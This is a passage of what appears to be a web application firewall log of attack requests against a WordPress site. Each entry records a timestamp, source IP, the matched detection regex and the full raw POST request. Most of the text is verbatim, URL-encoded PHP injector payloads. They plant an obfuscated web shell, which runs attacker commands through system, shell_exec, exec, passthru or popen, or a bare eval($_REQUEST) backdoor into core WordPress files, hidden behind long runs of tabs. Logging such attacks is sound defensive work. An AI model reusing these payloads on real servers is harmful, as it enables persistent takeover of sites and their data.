53B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJyRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5475\nsec-fetch-user:?1\n\nZQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:47:30","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\ncontent-length:5498\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:47:40","54.36.177.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqyNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:2040\nhost:dewenlabels.com\n\nvP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:47:46","107.155.87.193","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDINvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2040\nhost:dewenlabels.com\n\nAP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
